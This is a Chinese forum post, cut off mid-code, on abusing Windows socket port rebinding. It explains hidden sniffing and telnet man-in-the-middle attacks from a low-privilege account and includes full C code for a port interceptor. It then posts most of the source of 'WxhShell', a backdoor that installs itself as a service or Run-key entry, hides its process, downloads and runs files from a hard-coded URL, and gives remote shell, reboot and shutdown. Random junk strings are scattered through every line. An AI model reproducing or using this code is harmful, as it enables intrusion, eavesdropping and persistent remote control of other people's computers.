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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =.@{ uu;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [B}$U|V0  
:G&tM   
  saddr.sin_family = AF_INET; aS^ 4dEJ  
[25[c><:w"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); HPGMR4=ANS  
beLT4~Z=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ap&Bwo 8b  
S#IlWU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 58x=CN\QU  
+{Qk9Z  
  这意味着什么?意味着可以进行如下的攻击: ZzU3j^  
xPFNH`O&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h J*2q"  
<cQ)*~hN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w8!S;~xKI  
#KC& ct  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /%E X4 W  
_K(w &Kr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,>6s~'  
.>4Zt'gCt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FerQA9K)x  
~j%g?;#*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I9xQ1WJc`  
[ML%u$-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A4Dj4n0  
W_ w^"'  
  #include ?P<8Zw  
  #include FsZW,  
  #include -6wjc rTD  
  #include    I[mlQmwsL.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q)Qd+:a7{  
  int main() gIGyY7{(s8  
  { [1 pWg^  
  WORD wVersionRequested; FW](GWp`:  
  DWORD ret; 05]y*I  
  WSADATA wsaData; gXrPZ|iS  
  BOOL val; u\LbPk  
  SOCKADDR_IN saddr; xq#YBi,  
  SOCKADDR_IN scaddr; S;pKL,d>r  
  int err; A .]o&S}  
  SOCKET s; [1OX: O|  
  SOCKET sc; uVnbOqR<X  
  int caddsize; rA<>k/a  
  HANDLE mt; !bf8 r  
  DWORD tid;   ="~yD[S  
  wVersionRequested = MAKEWORD( 2, 2 ); 1N8:,bpsT  
  err = WSAStartup( wVersionRequested, &wsaData ); 9$]I3k  
  if ( err != 0 ) { I_QWdxn  
  printf("error!WSAStartup failed!\n"); cf\PG&S  
  return -1; $a / jfpV  
  } (29h{=P'  
  saddr.sin_family = AF_INET; jVW .=FK  
   k&JB,d-mJ%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XFj\H(D  
ajr);xd  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !V%h0OE\  
  saddr.sin_port = htons(23); LUPh!)8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =`&7pYd,  
  { `Zdeq.R]  
  printf("error!socket failed!\n"); Re[x$rw  
  return -1; -'!K("  
  } J&hzr t  
  val = TRUE; @%FLT6MY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N~=,RPjq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DfPC@` k  
  { iY~.U`b`  
  printf("error!setsockopt failed!\n"); \`kH2`  
  return -1; Sa8KCWgWh  
  } E%.w6-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,ORwMZtw{H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p1BMQ?=($  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]3KMFV}  
c }-AD r9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jV|j]m&t  
  { og?>Q i Tr  
  ret=GetLastError(); W{El^')F  
  printf("error!bind failed!\n"); Z&Qz"V>$  
  return -1; <<SUIY@X  
  } 8h?):e  
  listen(s,2); 7A,lQh  
  while(1) .="/n8B  
  { ?'8(']/  
  caddsize = sizeof(scaddr); [^D~T  
  //接受连接请求 ! ^ DQX=1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *x<3=9V  
  if(sc!=INVALID_SOCKET) A &tMj?  
  { /cXVJ(#j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]?<=DHn  
  if(mt==NULL) [Yyb)Qf  
  { ^o8o  
  printf("Thread Creat Failed!\n"); $[6]Ly(F)  
  break; 3UNmUDl[~  
  } W1!Nq`  
  } tb1w 6jaU  
  CloseHandle(mt); 0|chRX  
  } + e3{J_  
  closesocket(s); - %'ys  
  WSACleanup(); \2^_v' >K  
  return 0; 1"fbQ^4`  
  }   84f~.45  
  DWORD WINAPI ClientThread(LPVOID lpParam)  KB5<)[bs  
  { AM:lU  
  SOCKET ss = (SOCKET)lpParam; K^Ixu~  
  SOCKET sc; >"|"Gy (  
  unsigned char buf[4096]; wgcKeTD9  
  SOCKADDR_IN saddr; ]b&O#D9  
  long num; "~,3gNTzV  
  DWORD val; d+L!s7  
  DWORD ret; Jf3xK"in  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c W^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \ ~uY);  
  saddr.sin_family = AF_INET; 7T/hmVi_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jr3FDd]  
  saddr.sin_port = htons(23); !K8V":1du#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <d] t{M62W  
  { P0O=veCf  
  printf("error!socket failed!\n"); met`f0jw  
  return -1; v?<Tkw ^F  
  } lCxPR'C|  
  val = 100; 3c[< #] 8S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %O02xr=  
  { jImw_Q  
  ret = GetLastError(); 7&Qf))L  
  return -1; 5$<Ozkj(  
  } .:A&5Y-   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K<~J*k<v  
  { Tp&7CNl|  
  ret = GetLastError(); Ek,$XH  
  return -1; b X'.hHR  
  } E0_S+`o2y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tJ9-8ZT*  
  { )Bpvi4O  
  printf("error!socket connect failed!\n"); {/Qg4pc!  
  closesocket(sc); 8%#pv}  
  closesocket(ss); C~q&  
  return -1; Gcp!"y=i  
  } 6< @F  
  while(1) W*.6'u)9  
  { H?$gHZPI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m=Fk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qJ%AbdOI8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gf^XqTLs  
  num = recv(ss,buf,4096,0); jPA^SxM  
  if(num>0) E .%_i8s  
  send(sc,buf,num,0); C)qy=lx%  
  else if(num==0) AH'4k(-  
  break; |]+PDc%  
  num = recv(sc,buf,4096,0); MGfIA?u  
  if(num>0) *Fu;sR2y%:  
  send(ss,buf,num,0); ,;k`N`#'  
  else if(num==0) 0.lOSAq  
  break; 9ELRn@5.  
  } ~LSD\+  
  closesocket(ss); /& wA$h  
  closesocket(sc); 94b* !Z  
  return 0 ; mz?1J4rt  
  } CA5q(ID_  
 j*#k%;c  
+~f5dJyk`  
========================================================== bXRSKp[$  
\z[L=  
下边附上一个代码,,WXhSHELL 3U&r K)F  
,;~@t:!c  
========================================================== xn,I<dL39  
E=L 1q)  
#include "stdafx.h" ]o2 Z 14  
uG{/yJeU  
#include <stdio.h> &LDA=B  
#include <string.h> {mmQv~|5q  
#include <windows.h> ?i5=sK\  
#include <winsock2.h> A_}6J,*u  
#include <winsvc.h> F|^tRL-  
#include <urlmon.h> 3&"+)*/ m  
K~Z$NS^W&  
#pragma comment (lib, "Ws2_32.lib") L2{b~`UvP  
#pragma comment (lib, "urlmon.lib") {D7v[P+  
-Ta| qQa  
#define MAX_USER   100 // 最大客户端连接数 [s&0O<Wv  
#define BUF_SOCK   200 // sock buffer tde&w=ec  
#define KEY_BUFF   255 // 输入 buffer jzAXC^FS  
bPUldkB:  
#define REBOOT     0   // 重启 ~xU\%@I\  
#define SHUTDOWN   1   // 关机 v/~Lfi  
(Qj;B)  
#define DEF_PORT   5000 // 监听端口 qz&?zzz;  
734<X6^1  
#define REG_LEN     16   // 注册表键长度 7Kn}KO!Y8  
#define SVC_LEN     80   // NT服务名长度 f/UIpswrZ'  
H rI(uZ]  
// 从dll定义API b3l~wp6>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I,@ 6w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !]2`dp\!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;kR+jC(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wz)@k2  
).8NZ Aj  
// wxhshell配置信息 k4`(7Z  
struct WSCFG { A!IZIT5)m  
  int ws_port;         // 监听端口 33OkY C%e  
  char ws_passstr[REG_LEN]; // 口令 %hN7K  
  int ws_autoins;       // 安装标记, 1=yes 0=no $64sf?aZ>#  
  char ws_regname[REG_LEN]; // 注册表键名 "`Y.5.  
  char ws_svcname[REG_LEN]; // 服务名 n7(/ml+Q_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~w"e 2a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QW= X#yrDO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E3QyiW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JGQ)/(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A&L2&ofV&q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zCI.^^<?  
~%QI#s?|  
}; _FP'SVa}D  
6@-O#,]J  
// default Wxhshell configuration L&G5 kY`  
struct WSCFG wscfg={DEF_PORT, 2}U:6w  
    "xuhuanlingzhe", grTwo  
    1, UqNUP+K  
    "Wxhshell", 7O<K?;I  
    "Wxhshell", g [c ^7  
            "WxhShell Service", !n|4w$t"V  
    "Wrsky Windows CmdShell Service", F~wqt7*  
    "Please Input Your Password: ", Aga{EKd  
  1, Y%Tm `$^V  
  "http://www.wrsky.com/wxhshell.exe", Y;#H0v>E  
  "Wxhshell.exe" (\H^ KEy  
    }; 9@wmngvM*Y  
M sQ=1  
// 消息定义模块 1)J' pDa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ];*? `}#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T0"q,lrdxV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Tzr'3m_  
char *msg_ws_ext="\n\rExit."; N7-LgP  
char *msg_ws_end="\n\rQuit."; O:jaA3  
char *msg_ws_boot="\n\rReboot...";  J7p?9  
char *msg_ws_poff="\n\rShutdown..."; %s ">:  
char *msg_ws_down="\n\rSave to "; S3gd'Bahq  
T[%@B"  
char *msg_ws_err="\n\rErr!"; S^_F0</U,  
char *msg_ws_ok="\n\rOK!";  S)x5.vo^  
Mi047-% (  
char ExeFile[MAX_PATH]; Zb$P`~(%  
int nUser = 0; Qq3UC%Z1  
HANDLE handles[MAX_USER]; Uf#9y182*c  
int OsIsNt; zXML<?w  
G3j'A{  
SERVICE_STATUS       serviceStatus; 2<tU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 41<h|WA  
-Pp{aF e  
// 函数声明 4@3\Ihv  
int Install(void); %%}l[W  
int Uninstall(void); Os'E7;:1h  
int DownloadFile(char *sURL, SOCKET wsh); wGNE b  
int Boot(int flag); 5?SE?VC=t  
void HideProc(void); pI-Qq%Nwt  
int GetOsVer(void); v1~l=^4&  
int Wxhshell(SOCKET wsl); yO7y`;Q(sF  
void TalkWithClient(void *cs); e}yF2|0FD  
int CmdShell(SOCKET sock); 7;q0'_G  
int StartFromService(void); GqL&hbpi  
int StartWxhshell(LPSTR lpCmdLine); 'Xwv,  
m`-:j"]b$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #X'-/q`.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); " $farDDoF  
I F6$@Q  
// 数据结构和表定义 S8dfe~|7:  
SERVICE_TABLE_ENTRY DispatchTable[] = %C,zR&]F  
{ <M1*gz   
{wscfg.ws_svcname, NTServiceMain}, %<nGm\  
{NULL, NULL} t;VMtIW+E  
}; 1?H; c5?d&  
T90O.]S  
// 自我安装 e8> X5  
int Install(void) ,Ohhl`q(  
{ 'uL$j=vB  
  char svExeFile[MAX_PATH]; #BP0MY&  
  HKEY key; XLpn3sX$  
  strcpy(svExeFile,ExeFile); }C_g;7*  
Al*=%nY  
// 如果是win9x系统,修改注册表设为自启动 2QbKh)   
if(!OsIsNt) { YU-wE';H6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {l$)X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )u Hat#  
  RegCloseKey(key); L]z8'n,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /]z #V'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 153*b^iDBh  
  RegCloseKey(key); mv:@D  
  return 0; c!6v-2ykv  
    } Uz_ob9l<#H  
  } q!0HsF  
} Q3l>xh  
else { P{K\}+9F   
h/\ Zq  
// 如果是NT以上系统,安装为系统服务 <Rw2F?S~)n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >Um(gbG  
if (schSCManager!=0) oe^JDb#  
{ GPh;r7xg6  
  SC_HANDLE schService = CreateService #]c_ 2V  
  ( "" ^n^$  
  schSCManager, 3n7>qZ.d  
  wscfg.ws_svcname, x'}z NEXI  
  wscfg.ws_svcdisp, U`~L}w"  
  SERVICE_ALL_ACCESS, bz nMD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b)Nd}6}<?  
  SERVICE_AUTO_START, bvB7d` wx  
  SERVICE_ERROR_NORMAL, &Vpr[S@:{  
  svExeFile, &>Z;>6J,  
  NULL, Zf??/+[  
  NULL, e=# D1  
  NULL, M= 3w  
  NULL, z wwJyy%/  
  NULL rkdA4'66w  
  ); q JtLJ<=1  
  if (schService!=0) s6}SdmE  
  { <dXeP/1w`  
  CloseServiceHandle(schService); 5V/]7>b1  
  CloseServiceHandle(schSCManager); Dequ'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b>#dMRK  
  strcat(svExeFile,wscfg.ws_svcname); T.%yeJiE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K0I.3| 6C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {7$jwk  
  RegCloseKey(key); -~_|ZnuM9  
  return 0; f"AT@Ga]  
    } Be\@n xV[  
  } &(p5z4Df  
  CloseServiceHandle(schSCManager);  -V"W  
} qf@P9M  
} N<Ym&$xR  
{}RU'<D  
return 1; 1BP/,d |+  
} Q TN24 q4  
Gv#bd05X  
// 自我卸载 VKlC`k8L  
int Uninstall(void) dd +lQJ c  
{ +T,A^(&t  
  HKEY key; BT$Oh4y4  
GlC(uhCpV  
if(!OsIsNt) { Oi@|4mo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f|/ ,eP$  
  RegDeleteValue(key,wscfg.ws_regname); k f|J  
  RegCloseKey(key); $Tt.r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ofI,[z3  
  RegDeleteValue(key,wscfg.ws_regname); ]HXHz(?;F  
  RegCloseKey(key); SL+n y(y  
  return 0; 0~[M[T\  
  } 4? rEO(SZ  
} >'WTVj`  
} hl)jE 06  
else { xh25 *y  
 <pD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6g#E/{kQw  
if (schSCManager!=0) Yn?Xo_Y  
{ OJM2t`}_t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eE;j#2SEO  
  if (schService!=0) Dk2Zl  
  { _~P &8  
  if(DeleteService(schService)!=0) { )"2eN3H/  
  CloseServiceHandle(schService); 7:JGrO  
  CloseServiceHandle(schSCManager); 7;r3Bxa Q  
  return 0; @$%.iQ7A;  
  } +t Prqv"(  
  CloseServiceHandle(schService); )Q}Q -Zt  
  } 9U )9u["DH  
  CloseServiceHandle(schSCManager); cs[nFfM  
} >x ]{c b/m  
} *o<|^,R  
Oe;1f#` 5  
return 1; 7dOpJjv?)  
} <)"2rxX&5  
O8-Z >;  
// 从指定url下载文件 y!|4]/G]?t  
int DownloadFile(char *sURL, SOCKET wsh) l-SVI9|<0  
{ 4~hP25q  
  HRESULT hr; mqY=N~/O  
char seps[]= "/"; cb/$P!j7  
char *token; 3@1$y`SN  
char *file; &M=15 uCK  
char myURL[MAX_PATH]; J8[aVG  
char myFILE[MAX_PATH]; l vBcEg  
Vygh|UEo  
strcpy(myURL,sURL); T ^ #1T$  
  token=strtok(myURL,seps); Qz$Wp*  
  while(token!=NULL) :zpT Gk8Z  
  { =!/T4Oo  
    file=token; 2/x~w~3U  
  token=strtok(NULL,seps); 4z^~,7J^  
  } !lp7}[k<y  
VS65SxHA  
GetCurrentDirectory(MAX_PATH,myFILE); |:`)sx3@#  
strcat(myFILE, "\\"); hK3Twzte  
strcat(myFILE, file); ]|[mwC4  
  send(wsh,myFILE,strlen(myFILE),0); nd5.Py$  
send(wsh,"...",3,0);  gA19f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @k/|%%uP  
  if(hr==S_OK) ~$1g"jIw  
return 0; .m xc~  
else <irr .O  
return 1; Iomx"y]9  
-:Q"aeC5  
} dx.Jv/Mb  
Ia:M+20n  
// 系统电源模块 -@~4:o  
int Boot(int flag) zJOyr"B'8  
{ `Y, Rk  
  HANDLE hToken;  p.,`3"C1  
  TOKEN_PRIVILEGES tkp; gGs"i]c  
=n;LP#(h?  
  if(OsIsNt) { p#>,{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tNAmA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dSS Ai |}  
    tkp.PrivilegeCount = 1; &-Q_%eM^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9q2x}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jb)xzUhES  
if(flag==REBOOT) { ~SwGZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~e5E%bXxC  
  return 0; XFi9qL^  
} hF1Lj=x  
else { (62Sc]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >Hd!o"I  
  return 0; uzS;&-nA  
} ;NGSJfn  
  } R-Y 7I  
  else { Lv#}Gm  
if(flag==REBOOT) { XMLl>w2z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R !>SN0  
  return 0; $$'[ %  
} /^`d o3a}  
else { M2A_T.F=H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BD mF+  
  return 0; \M*c3\&~,e  
} }50s\H._C  
} mqiCn]8G  
jori,"s  
return 1; Yb'%J@T}  
} T t$] [  
zOis}$GR  
// win9x进程隐藏模块 w1+ %+x  
void HideProc(void) B06W(y,3Q>  
{ 2Xv$  
Z5"5Ge-M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F2Mxcs* M  
  if ( hKernel != NULL ) =@d->d  
  { ~@"H\):/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uFfk!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zTw<9Nf  
    FreeLibrary(hKernel); 26=G%F6  
  } n_6#Df*  
IJLuu@kRm,  
return; :\%ZTBLL  
} 3O|2Z~>3  
0*KL*Gn  
// 获取操作系统版本 xr31< 4B  
int GetOsVer(void) h~ehZJys  
{ {wf5HA  
  OSVERSIONINFO winfo; :bq UA(k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L$@qEsO  
  GetVersionEx(&winfo); N^'(`"J s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X:QRy9]  
  return 1; 9dva]$^:*1  
  else a._>?rVy  
  return 0;  )eH?3""  
} V%voe  
1 ;Uc -<  
// 客户端句柄模块 <Kk?BRxi  
int Wxhshell(SOCKET wsl) %kuUQ%W1  
{ 6|1*gl1_LD  
  SOCKET wsh; -+:t%A?  
  struct sockaddr_in client; VwT&A9&{8  
  DWORD myID; i4)]lWnd  
{`9J8qRY  
  while(nUser<MAX_USER) LKg9{0Y:  
{  ">q?(i\  
  int nSize=sizeof(client); PVrNS7 Rk/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +^[SXI^JaJ  
  if(wsh==INVALID_SOCKET) return 1; eRg;)[#0>$  
{#z[iiB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l7(p~+o?h>  
if(handles[nUser]==0) rE?B9BF3O  
  closesocket(wsh); it->)?"(6  
else VYQ]?XF3i  
  nUser++; YOUX  
  } ESuP ZB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p@wtT"Y  
u|(Iu}sE=  
  return 0; *nwH1FjH  
} Lv *USN  
Kn}Y7B{  
// 关闭 socket Q>TNzh  
void CloseIt(SOCKET wsh) DKG; up0  
{ od*#)   
closesocket(wsh); :e\M~n+y  
nUser--; c&"1Z/tR  
ExitThread(0); &0OH:P%  
} AA}+37@2I  
"|/q4JN)7d  
// 客户端请求句柄 ;.7]zn.X]2  
void TalkWithClient(void *cs) X rut[)H  
{ #_zj5B38E  
'r} y{`3M  
  SOCKET wsh=(SOCKET)cs;  hAD gi^  
  char pwd[SVC_LEN]; bs)Ro/7}  
  char cmd[KEY_BUFF]; 9/O\769"'  
char chr[1]; /.(F\2+A  
int i,j; ZC)m&V 1  
MF +F8h>/  
  while (nUser < MAX_USER) { +l<;?yk:;  
|j4;XaG)  
if(wscfg.ws_passstr) { DK#Tr: 7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZsGJ[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N'?#g`*KW  
  //ZeroMemory(pwd,KEY_BUFF); Q1x=@lXR  
      i=0; 8>DX :`  
  while(i<SVC_LEN) { x'V:qv*O  
3*oZol/  
  // 设置超时 ty8E;[ '  
  fd_set FdRead; HyIyrUrYW  
  struct timeval TimeOut; A9LVS&52  
  FD_ZERO(&FdRead); ^h"@OEga?  
  FD_SET(wsh,&FdRead); 'NDr$Qc3  
  TimeOut.tv_sec=8; _]us1  
  TimeOut.tv_usec=0; 8B6 -f:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5zH_yZ@+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;;Jx1Q  
A#]78lR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iT</  
  pwd=chr[0]; {Bb:\N8X  
  if(chr[0]==0xd || chr[0]==0xa) { 7~VDk5Z6  
  pwd=0; 5]2 p>%G  
  break; VhU,("&pm  
  } .v['INK9  
  i++; mH )i  
    } 0_-P~^A  
3lN@1jlh  
  // 如果是非法用户,关闭 socket MZ>Q Rf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z]!w@:  
} [$Jsel<T=  
gN[^ ,u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cpphnGj5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NBA`@K~4  
WLCr~r^  
while(1) { n39EKH rm%  
Xi!e=5&Pa  
  ZeroMemory(cmd,KEY_BUFF);  J {$c|  
,vuC0{C^  
      // 自动支持客户端 telnet标准   s $ ?;C  
  j=0; c,}VC-  
  while(j<KEY_BUFF) { \9]- (j6[H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Au*1-  
  cmd[j]=chr[0]; 8qoA5fW>  
  if(chr[0]==0xa || chr[0]==0xd) { @IOl0db  
  cmd[j]=0; Y /l~R7  
  break; FhQb9\g  
  } /`j2%8^N  
  j++; M%7|7V<o)^  
    } c-4z8T#M^  
fP llN8n  
  // 下载文件 $ SZIJe"K  
  if(strstr(cmd,"http://")) { SME]C') 7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sY?sQ'E2]  
  if(DownloadFile(cmd,wsh)) cvYKZB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WZ UeW*#=  
  else XY<KLO%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X,D ]S@  
  } bb$1zSA  
  else { l`a_0  
$9Gra#  
    switch(cmd[0]) { Bk5ft4v-  
  zo@,>'m  
  // 帮助 |7!Bk$(vA  
  case '?': { {*nE8+..A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (Z8wMy&:  
    break; UU ' 9  
  } [YJ*zO  
  // 安装 c*R18,5-  
  case 'i': { M{p9b E[j  
    if(Install()) jH<,dG:{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R S] N%`]  
    else "@rHGxK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {vur9L  
    break; ${`q!  
    } 1 /SB[[g  
  // 卸载 6mjD@  
  case 'r': { SRrp= >w?  
    if(Uninstall()) 2L=(-CH9]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #*3 vE& p  
    else lE3&8~2   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 S2;LB  
    break; }{v0}-~@  
    } =q[ynZ8O\w  
  // 显示 wxhshell 所在路径 EdZNmL3cB  
  case 'p': { N8X)/W  
    char svExeFile[MAX_PATH]; zoj w^%W  
    strcpy(svExeFile,"\n\r"); 5"D\n B%  
      strcat(svExeFile,ExeFile); Gz7,g Y  
        send(wsh,svExeFile,strlen(svExeFile),0); <lWBhrz  
    break; w7~&Xxa/  
    } )7Oj  
  // 重启 vb`:   
  case 'b': { Apkb!"}>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ")w~pZE&+  
    if(Boot(REBOOT)) ,fj~BkW{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K:Z|# i-  
    else { ppO!v?  
    closesocket(wsh); vQ[ Tc V  
    ExitThread(0); (R!.=95@  
    } s2K8|q=  
    break; 8,:lw3x1  
    } j0S[JpoF  
  // 关机 f1t?<=3Ek<  
  case 'd': { w^S]HzMd  
